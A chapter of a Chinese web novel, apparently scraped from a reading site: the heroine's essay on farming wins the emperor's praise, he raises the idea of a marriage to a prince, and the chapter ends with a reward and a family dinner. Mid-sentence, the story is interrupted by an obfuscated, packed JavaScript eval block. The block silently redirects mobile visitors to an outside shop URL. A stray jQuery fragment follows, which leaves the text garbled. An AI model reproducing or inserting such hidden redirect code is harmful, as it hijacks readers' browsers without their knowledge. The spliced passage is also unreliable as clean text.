那篇《论裕民》的文章,是在一个飘着细雨的午后,被悄悄放在皇帝案头的。
放文章的人是萧晟叡,但授意的人是林墨谦,而不是林照夜。
这位精明的林家大公子在弟弟科举乌龙后,左思右想,觉得小妹的文章若是就这么埋没了实在可惜。
既然杨万里都能因为一篇文章对小妹另眼相看,那为何不让更高处的人看看呢?
于是他把文章誊抄了一份,字迹工整漂亮,特意隐去了署名,只托萧晟叡“代为呈给陛下看看,权当是民间学子的一点愚见”。
萧晟叡接过文章时,扫了一眼开头,嘴角就扬了起来。
“林大公子,”他说,“这文章真是‘民间学子’写的?”
林墨谦面不改色:“七殿下说是就是,说不是就不是。”
两人心照不宣地对视一笑。
文章到了御案上。
起初皇帝并没在意,每天送到他面前的奏折文章堆成山,哪有空一一细看?
但那天下午他批折子批得头晕,想换换脑子,随手拿起了最上面那篇。
一看标题:《论裕民》。
再看开头:“民为邦本,本固邦宁。然今之裕民,多在蠲免赋税、开仓放粮,此救急之法,非长久之计。若欲长治久安,当……”
嗯,有点意思。
皇帝坐直了身子。
接着往下看,越看眼睛越亮。
文章从农事入手,提出“三本之策”:一本在土,改良土壤,提高地力;二本在种,选育良种,增加产量;三本在人,培训农技,科学种植。每一条都有详实的数据支撑,还有具体的实施步骤。
比如改良土壤,文章建议在江南水田推广“稻鱼共生”——稻田养鱼,鱼吃害虫,鱼粪肥田,一田双收。
光是这一项,就能让亩产增加两成。
又比如选育良种,文章提到一种叫“杂交”的法子,把不同品种的优点结合起来,培育出抗病、高产的新品种。还附了个简易的“水稻杂交操作图”,皇帝看不太懂,但觉得挺像那么回事。
最妙的是最后一部分,讲的是“农政革新”。
建议在各州县设“农业学堂”,选拔有经验的农夫当先生,把先进的种田技术教给更多人。
还要建立“粮种库”,丰年储备良种,灾年发放,防止灾后无种可种。
通篇下来,数据详实,条理清晰,既有理论高度,又有可操作性。
文风朴实,不堆砌辞藻,一看就是实干派的手笔。
“好文章!”皇帝拍案而起,把旁边伺候的太监吓了一跳。
他翻到最后一页,想看看作者署名——没有。
皇帝却忽然笑了:“这丫头……还真是不闲着。”
他放下文章,对太监说:“传嘉禾乡主进宫。现在就来。”
—— ——
林疏影接到传召时,正在暖房里研究新到的“黄金蜜瓜”种子。
听说皇帝急召,她心里“咯噔”一下——她最近表现挺好的啊?
匆匆换上乡主服制,跟着传旨太监进宫。
路上她试着打听:“公公可知,陛下召我何事?”
太监笑眯眯的:“乡主去了就知道了,是好事。”
好事?
林疏影更忐忑了。
到了御书房,通报进去。
书房里只有皇帝一人,正背着手看墙上挂的《大梁疆域图》。听见脚步声,他转过身,脸上带着笑。
“嘉禾乡主林疏影,参见陛下。”林疏影行礼。
“平身。”皇帝走到御案前,拿起那篇文章,“这文章,是你写的?”
林疏影抬头一看,心里了然,还真是为这个。
“是疏影闲时练笔之作。”她坦然承认,“若有不当之处,还请陛下指正。”
“不当?”皇帝笑了,“若是这篇文章都不当,那满朝文武的奏折,大半都可以烧了。”
他走到林疏影面前,上下打量她:“丫头,你告诉朕,这些想法是从哪儿来的?稻鱼共生?杂交育种?还有这农业学堂……朕怎么从来没听说过?”
林疏影早有准备:“回陛下,臣女自幼爱看杂书。家中藏书楼里有些前朝农书,还有些西域、南洋传来的奇书。这些法子,有的是书上看来的,有的是自己琢磨的。臣女在庄子里都试过,确实有效。”
“都试过?”皇帝挑眉,“那稻鱼共生,你庄子里有?”
“有。”林疏影点头,“臣女在庄子边的水塘里试过,一亩水塘养百尾鱼,鱼粪肥田,鱼吃虫害,水稻长得确实好些。”
“杂交呢?”
“也试过。”林疏影面不改色,“用不同的西瓜品种杂交,培育出了‘蜜宝西瓜’,就是现在庄子里种的那种,甜度高,籽少。”
皇帝盯着她看了半晌,忽然问:“林丫头,朕若让你入朝为官,你可愿意?”
林疏影一愣。
入朝为官?
女子?
“陛下说笑了。”她低头,“臣女一介女流,哪有为官的资格。”
“朕说有就有。”皇帝正色道,“你这般才学,困于后宅,实是可惜。朕可以特设‘司农司女官’一职,你来做。品阶不高,正六品,但可参与农政议事,推广你的那些法子。”
这诱惑不可谓不大。
但林疏影想了想,还是摇头:“谢陛下厚爱。但疏影……志不在此。”
“哦?”皇帝挑眉,“那你志在何处?”
林疏影抬起头,眼神清澈:“疏影只愿为陛下多种几亩好田,多育几样良种。农政大事,自有朝中贤能谋划。疏影能在自己的庄子里,把这些法子试出来,证明可行,就是尽本分了。”
她说得诚恳。
不是故作清高,是真的这么想。
上辈子在农科院,她也是泡在试验田里的时间多,坐在办公室里的时间少。
这辈子有木灵根加持,她更愿意亲力亲为。
皇帝看着她,良久,叹了口气。
“可惜了。”他说,“若你是男儿身,朕必重用你。”
林疏影笑了:“陛下,女子也能为陛下分忧。疏影虽不能入朝,但可以在田间地头,为陛下培育良种,推广农技。这比坐在衙门里,更能办实事。”
这话说得实在,皇帝也笑了。
“说得对。”他点头,“那朕就准你继续种你的地。不过……”
他顿了顿,似笑非笑:“朕听说,老七常往你庄子里跑?”
林疏影心里一跳。
来了。
“七殿下确实常来。”她镇定道,“殿下对农事感兴趣,常带些新奇的种子给臣女,也常分享各地农情。”
“只是对农事感兴趣?”皇帝意味深长,“朕怎么听说,他每次去,一待就是大半天?还听说,你在江南时,他守着你病了三天?”
林疏影脸热了。
这些事……皇帝怎么知道得这么清楚?
“陛下,”她硬着头皮说,“殿下仁厚,体恤臣女辛苦……”
“行了行了,”皇帝摆摆手,笑了,“跟朕打什么官腔。朕就问一句——若朕将老七许配给你,你可愿意?”
林疏影脑子“嗡”的一声。
谁许配给谁?
她虽然隐约感觉到萧晟叡的心意,但被皇帝这么直白地问出来,还是有点招架不住。
一旁的公公也轻咳提醒陛下:“七皇子可是皇后娘娘最疼爱的孩子,许配给嘉禾乡主?”
皇帝一击掌,也察觉自己用错了词:“朕为你们赐婚,可好?”
“陛下,”林疏影深吸一口气,“婚姻大事,但凭父母之命。疏影……不敢妄言。”
这回答很巧妙——既没拒绝,也没答应,把球踢给了父母。
皇帝大笑:“滑头!”
他走到窗边,看着外面的雨幕,声音轻了下来:“老七这孩子,从小聪明,但性子冷,不爱与人亲近。可对你……倒是上心得很。”
他转身,看着林疏影:“朕不是逼你。只是觉得,你们两个,一个懂农事,一个通政务,若是能在一起,倒是互补。不过你还小,不着急。慢慢想,想清楚了再说。”
林疏影心里松了口气,行礼:“谢陛下体谅。”
从御书房出来,雨已经停了。
天边露出一道彩虹,映得宫墙上的琉璃瓦流光溢彩。
林疏影站在廊下,看着彩虹,心里乱糟糟的。
皇帝的意思很明白——他看好她和萧晟叡。
“出来了?”
熟悉的声音从身后传来。
林疏影回头,萧晟叡站在廊柱旁,依旧是不显华贵的一身竹青色的常服,眉眼清俊。
“殿下。”
“父皇跟你说什么了?”萧晟叡走过来,语气随意,但眼神里带着探究。
林疏影犹豫了一下,还是老实说了:“陛下看了那篇文章,想让我入朝为官,我拒绝了。然后……问我想不想……陛下说赐婚给你我……”
萧晟叡脚步一顿。
“你怎么说?”
“我说……婚姻大事,但凭父母之命。”
萧晟叡沉默了。
两人并肩走在宫道上。
雨后空气清新,御花园里的花草挂着水珠。
“疏影,”萧晟叡忽然开口,“若我再去请父皇赐婚,你会恼吗?”
林疏影心跳漏了一拍。
她转头看他,少年侧脸在雨后阳光下显得格外清晰,睫毛上还沾着细小的水珠。
“我……”她张了张嘴,不知道该说什么。
恼吗?
不恼。
愿意吗?
她不知道。
“殿下,”她轻声道,“我还没想好。”
萧晟叡点点头,没有逼问。
“那就慢慢想。”他说,“我说过,我可以等。”
他顿了顿,补充道:“等你长大,等你想清楚,等你……愿意。”
林疏影没接话。
“走吧,我送你出宫。”
两人并肩走着,影子在湿漉漉的青石板上拉得很长。
快到宫门时,萧晟叡忽然想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611900|202898||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起什么:“对了,父皇是不是赏你了?”
林疏影一愣:“没有啊。”
“会有的。”萧晟叡笃定,“你那篇文章,父皇看了那么高兴,不可能不赏。等着吧,最迟明天,赏赐就该到了。”
话音刚落,就见一个小太监匆匆跑来。
“乡主留步!陛下有赏!”
说曹操曹操到。赏赐很丰厚:黄金百两,锦缎十匹,还有一套文房四宝——据说是前朝大儒用过的。最特别的是一块玉牌,上面刻着“嘉禾”二字。
“陛下说,”小太监传话,“这块玉牌,乡主可凭它自由出入皇庄,查看各地农情。若有需要,可凭此牌调动当地官府协助。”
这可是实打实的权力。
林疏影郑重接过:“谢陛下隆恩。”
送走太监,她握着那块温润的玉牌,心里百感交集。
皇帝这是给了她一个更大的舞台。
“这下满意了?”萧晟叡笑道。
“满意。”林疏影点头,眼睛亮亮的,“有了这块牌子,以后推广农技就方便多了!”
“走吧,”他说,“我送你回庄子。”
两人出了宫门,上了马车。
马车驶过繁华的朱雀大街,往城北去。
车厢里,林疏影把玩着那块玉牌,忽然想起什么:“殿下,陛下说……春猎我也去。”
“我知道。”萧晟叡点头,“母后特意吩咐的。说要让你多认识些人。”他顿了顿,意味深长,“尤其是宗室女眷。”
林疏影心里一紧。
“紧张?”萧晟叡看出她的不安。
“有点。”林疏影老实承认,“那些贵妇人……我怕应付不来。”
“不用应付。”萧晟叡说,“做你自己就好。种你的瓜,讲你的农事,喜欢的人自然喜欢,不喜欢的也不必在意。”
林疏影握紧玉牌,眼神定了定。
“我会做好的。”
萧晟叡笑了:“我知道。”
马车驶出城门,上了官道。
远处,小林宅的轮廓渐渐清晰。
田里的西瓜已经收了第二茬,新种的秋菜冒出了嫩芽。
食堂的炊烟袅袅升起,阿瓜正在门口喂马,见马车来了,兴奋地挥手。
一切,都是熟悉的样子。
林疏影看着,心里涌起一股暖流。
这是她的家,她的事业,她的根。
马车停下,林疏影跳下车。
萧晟叡跟着下来,很自然地接过她手里的包裹。
阿梨从院子里跑出来:“小姐!您回来了!”
林疏影笑道:“得了赏赐呢。”她把玉牌给阿梨看,阿梨眼睛瞪得溜圆。
“陛下给的,以后咱们做事就方便了。”
阿梨高兴得直拍手。
魏馥玉和赵荻儿也从后院过来,两人正在切磋武艺,满头大汗。
“疏影回来了!”魏馥玉跑过来,“宫里怎么说?没派你去哪儿吧?”
“没有。”林疏影把御前对答的事简单说了说,隐去了赐婚那段。
魏馥玉听得啧啧称奇:“陛下还真让你自由出入皇庄啊?”
林照夜也从屋里出来了。
见小妹回来,他有些不好意思:“小妹,那文章……给你惹麻烦了吧?”
“没有。”林疏影拍拍他的肩,“三哥,谢谢你。那文章,陛下很喜欢。”
“真的?”林照夜眼睛亮了。
“真的。陛下说,写得好,有见地。”
林照夜腰杆都直了——虽然文章不是他写的,虽然呈上去的也不是他,但是是他和大哥说的这事儿,那四舍五入也算他有功。
萧晟叡看着这一院子的人,热热闹闹,生机勃勃,嘴角不自觉扬起。
“殿下,”林疏影转身看他,“留下用晚饭吧?刘妈炖了鸡汤,还做了你爱吃的清蒸鱼。”
“好。”
晚饭很丰盛。
院子里摆了两张大桌,庄子上下三十多号人一起吃饭,说说笑笑。
林疏影坐在主位,左边是萧晟叡,右边是林照夜。
魏馥玉和赵荻儿在对面斗酒,林景深想劝,被赵荻儿瞪了一眼,乖乖闭嘴。
阿梨一边吃饭一边算账,阿瓜埋头苦吃。
林嬷嬷给每个人盛汤,脸上笑出了褶子。
这是她除了林府之外的“家人们”。
林疏影看着这一幕,心里满满的。
“想什么呢?”萧晟叡轻声问。
“想以后。”林疏影笑了笑,“以后要把农学堂建起来,要把良种推广到全国,要让更多人吃饱饭……”
萧晟叡看着她,眼神温柔。“我帮你。”
“好。”林疏影笑了,举起茶杯,“一言为定。”
“一言为定。”
茶杯轻碰,发出清脆的响声。
晚霞满天,院子里,笑声不断。
远处田里,新种的秋菜在晚风中轻轻摇曳。
而因为江南水患延期的春猎,就在三天后。
—— ——